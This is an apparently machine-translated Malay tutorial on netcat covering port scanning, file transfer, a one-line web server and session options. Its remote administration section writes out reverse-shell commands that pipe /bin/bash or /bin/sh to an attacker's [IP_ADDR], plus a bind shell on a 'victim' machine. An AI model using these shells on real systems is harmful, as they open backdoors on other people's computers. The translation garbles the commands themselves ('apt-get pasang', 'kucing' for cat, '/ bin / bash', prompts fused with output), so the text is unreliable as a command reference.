Perbezaan ringkas antara netcat-tradisional dan netcat-openbsd
Terdapat dua pakej serupa yang tersedia untuk netcat dengan sedikit perbezaan di antara mereka.
netcat-tradisional merangkumi pilihan '-e' tambahan yang boleh digunakan untuk mengikat program (i.e bash) dengan netcat. Ciri ini sangat berguna untuk tujuan pentadbiran jauh.
netcat-openbsd mempunyai beberapa sokongan tambahan untuk IPv6 dan proksi.
Pemasangan Netcat
Walaupun netcat sudah terpasang di kebanyakan distribusi Linux tetapi jika tidak, ia dapat dipasang dengan mudah menggunakan perintah berikut.
Untuk pakej tradisional,
[dilindungi e-mel]: ~ $ sudo apt-get pasang netcat-tradisionalUntuk versi openbsd,
[dilindungi e-mel]: ~ $ sudo apt-get install netcat-openbsdNetcat untuk Windows boleh dimuat turun dari sini https: // sourceforge.bersih / projek / nc110 / fail /.
Sekarang kita akan meneroka beberapa kes penggunaan netcat yang menarik
Pengimbasan Port menggunakan netcat
Untuk mengimbas port terbuka, gunakan pilihan '-z'. Netcat akan cuba menyambung ke setiap port tanpa menghantar data atau data yang sangat terhad dalam kes UDP. Taipkan perkara berikut
[dilindungi e-mel]: ~ $ nc -z -v hackme.org 80... hirup ..
hackme.org [217.78.1.155] 80 (http) terbuka
Untuk mengimbas pelbagai port, ketik
[dilindungi e-mel]: ~ $ nc -z -nv 192.168.100.72 20-80(TIDAK DIKETAHUI) [192.168.100.72] 80 (http) terbuka
(TIDAK DIKETAHUI) [192.168.100.72] 22 (ssh) terbuka
Pemindahan Fail dengan netcat
Kes penggunaan netcat lain yang berguna adalah pemindahan fail antara komputer jauh. Anda boleh menghantar teks dan fail binari dari satu PC ke PC yang lain. Kami akan cuba menghantar fail “file.pdf ”dari PC Linux ke PC Windows [IP 192.168.100.72] menggunakan netcat sebagai contoh.
Pada mesin Windows (penerima), taipkan yang berikut
C: \ Users> nc -nvlp 1337> fail.pdfMendengarkan pada [0.0.0.0] (keluarga 2, port 1337)
Pada mesin Linux (pengirim), taipkan yang berikut
[dilindungi e-mel]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfSambungan ke 192.168.100.72 1337 port [tcp / *] berjaya!
Pentadbiran Jauh dengan netcat
Salah satu kes penggunaan netcat yang terbaik adalah pentadbiran jarak jauh, ini bermaksud anda dapat mengawal PC orang lain menggunakan netcat. Netcat-tradisional dilengkapi dengan pilihan '-e' yang boleh digunakan untuk mengikat program (i.e cmd.exe di Windows atau bash di Linux) dengan port, itu bermaksud netcat akan bertindak sebagai komunikator antara program dan PC jarak jauh. Netcat akan menerima arahan dari PC jarak jauh, dijalankan pada sistem tempatan dan akan mengirimkan hasilnya kembali ke PC jarak jauh. Ciri ini digunakan secara meluas untuk tujuan jahat, untuk menjaga jalan belakang di PC dan pelayan. Ciri ini hanya tersedia dalam netcat-tradisional tetapi dengan sedikit muslihat, netcat-openbsd juga dapat digunakan untuk tujuan yang sama. Anda boleh menggunakan dua cara untuk mengawal PC orang lain.
Didalam Shell Terbalik sambungan, penyerang mendengar di pelabuhan dan menunggu sambungan dihantar dari mesin mangsa. Ia digunakan ketika komputer mangsa berada di belakang NAT atau tidak mempunyai IP awam.
Untuk mendapatkan shell terbalik menggunakan netcat, anda perlu mendengar di port menggunakan netcat. Taipkan perkara berikut pada mesin penyerang,
[dilindungi e-mel]: ~ $ nc -nvlp 1337Mendengarkan pada [0.0.0.0] (keluarga 2, port 1337)
Pada mesin mangsa (jika netcat-tradisional dipasang)
// ganti "/ bin / bash" dengan "cmd.exe ”sekiranya berlaku Windows
[dilindungi e-mel]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashUntuk netcat-openbsd (di mana pilihan "-e" tidak disokong)
[dilindungi e-mel]: ~ $ rm / tmp / f; mkfifo / tmp / f; kucing/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
Semasa berada di Mengikat Shell sambungan, penyerang mengikat port pada mesin mangsa dan menyambung ke port tersebut menggunakan soket klien. Ia digunakan ketika mesin penyerang berada di belakang NAT atau tidak memiliki IP awam.
Pada mesin mangsa, taip
[dilindungi e-mel]: ~ $ nc -nlvp 1337 -e / bin / bashmendengar pada [mana-mana] 1337 ..
Sekarang, untuk menjalankan perintah pada mesin mangsa, ketik
[dilindungi e-mel]: ~ $ nc -nv 127.0.0.1 1337Sambungan ke 127.0.0.1 1337 port [tcp / *] berjaya!
$ id
uid = 1000 (azad) gid = 1000 (azad) kumpulan = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Pelayan Web Ringkas menggunakan netcat
Anda juga boleh melakukan satu kaedah mudah untuk menggunakan netcat sebagai pelayan web halaman tunggal minimum. Pelayan web ini akan sangat mudah tanpa konfigurasi khas, dan kami akan menggunakannya untuk menghantar kod HTML kami ke penyemak imbas.
[dilindungi e-mel]: ~ $ selagi benar; lakukan echo -e "HTTP / 1.1 200 OK \ n \ n $ (gema "
Pelayan Web Sederhana saya menggunakan netcat
")" | nc -nvlp 1337; selesaiMendengarkan pada [0.0.0.0] (keluarga 2, port 1337)
Sekarang, cuba ambil laman web menggunakan keriting
[dilindungi e-mel]: ~ $ curl http: // 127.0.0.1: 1337 /Pelayan Web Sederhana saya menggunakan netcat
Tentukan Timeout untuk Sesi netcat
Anda boleh menentukan waktu tunggu untuk sesi netcat menggunakan pilihan "-w". Netcat akan memutuskan sesi secara automatik setelah masa yang ditentukan habis.
// -w [Masa dalam Detik][dilindungi e-mel]: ~ $ nc -w 40 -nvlp 1337
Mendengarkan pada [0.0.0.0] (keluarga 2, pelabuhan 1234)
Terus Mendengarkan walaupun Pelanggan menutup Sambungan
Dalam mod biasa, pelayan netcat dimatikan dan berhenti mendengar di port apabila pelanggan menutup sambungan. Anda boleh memastikan pelayan terus menggunakan pilihan "-k"
[dilindungi e-mel]: ~ $ nc -k -nlvp 1234Mendengarkan pada [0.0.0.0] (keluarga 2, pelabuhan 1234)
Kesimpulannya
Netcat adalah utiliti yang mudah tetapi cekap yang dapat digunakan untuk banyak tugas harian yang mudah. Ia dipasang di hampir semua sistem operasi seperti UNIX dan boleh digunakan untuk pelbagai tugas seperti komunikasi antara dua PC, pemindahan fail dan banyak lagi.